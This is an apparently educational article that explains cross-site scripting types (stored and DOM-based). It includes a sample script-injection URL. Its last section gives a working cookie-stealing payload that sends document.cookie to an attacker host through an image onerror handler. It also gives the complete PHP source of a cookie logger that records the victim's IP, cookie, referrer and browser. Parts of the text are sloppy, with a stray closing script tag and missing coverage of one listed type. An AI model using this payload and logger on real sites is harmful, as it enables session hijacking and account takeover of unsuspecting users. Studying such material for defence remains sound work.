TYPES

Cross-Site Scripting can be classified into 3 types :

1. Persistent XSS ( Stored XSS)
2. Non-persistent XSS (Reflected XSS)
3. DOM Based XSS

Stored XSS Attacks:

As the name suggests, in the Stored Cross-Site Scripting attacks, the malicious script is stored in one of the webpages of a website, and as soon as a user navigates to that particular webpage, the script would be executed in his browser.

In Stored Cross-Site Scripting Attacks, the attacker in the web application’s database itself embeds the attack vector. This is mainly seen in places, where the website stores the user input in the database. The most common examples of this are Comment Boxes, guestbooks, and Forums, etc.

Following is the graphical view of the connection during a stored XSS attack

Here is the screenshot of some stored XSS that I have found recently:

Using XSS attacks, an attacker could easily get the authentication cookies of a logged-in user using the document. cookie property. Using these cookies, an attacker could log in as the victim, without even having to know his username and password.

Let’s take an example of a Question Answers section infamous website, where users are allowed to ask questions and can even answer questions posted by other users. The section is only viewable to users who are logged into the website.

Let’s say the attacker now sets up a cookie logger script. So, anyone who would now visit the webpage, in which the attacker has inserted his own malicious scripts, the cookies of the user will directly go away to the attacker, without even the user noticing it.

DOM Based XSS

DOM Based XSS, also known as Type 0  XSS is a type of Cross-Site Scripting vulnerability where the payload gets executed, as a result of modifications in the Document Object Model (or DOM) of a webpage.

This XSS doesn’t get executed on the response page, instead, it executes in the same client-side webpage, as a result of unexpected DOM behavior.

DOM-based XSS could be detected using tools such as DOMinator and DOMSnitch.

Suppose the vulnerable link is: http://example.com/offer.php?product_id=5&title=My+Secure+Webpage

In this example, the title bar of the webpage changes according to the value of the title in the URL. The fault here lies in the blind trusting of URLs in order to change the Webpage.

An attacker could easily execute a DOM based XSS attack using the following payload :

http://example.com/offer.php?product_id=5&title=anything#<script>alert(“XSS”);</script>

</SCRIPT>

Cookie Stealing using XSS

Most often, XSS on websites are used to steal the cookies of the authenticated users, which are later sent to the attacker, who may use these cookies, to authenticate himself as the victim.

A simple example of a cookie logger is shown below.

XSS String to be injected:

“><img src=”foo.png”

onerror=”document.location=’http://attackerdomain.com/cookielogger.php?cookie=’

+escape(document.cookie);”>

CookieLogger.php

<?php

$ip = $_SERVER[‘REMOTE_ADDR’];

$cookie = $_GET[‘cookie’];

$referer = $_SERVER[‘HTTP_REFERER’];

$browser = $_SERVER[‘HTTP_USER_AGENT’];

$redirect = $_GET[‘redirect’];

$data = “IP: ” . $ip . “\n”.”Cookie: ” . $cookie . “\n”.”Referrer: ” . $referer . “\n”.”Browser: ” .

$browser . “\n\n”;

$log = “cookies.txt”;

$f = fopen($log, ‘a’);fwrite($f, $data);fclose($f);

@chmod($log, 0777);@header(“Location: $redirect”);

?>

The logged data will look like this:

IP: [IP Address of the victim]Cookie: [the Cookie Value]Referrer: [the original website from which it was referred to] Browser: [browser the victim is using]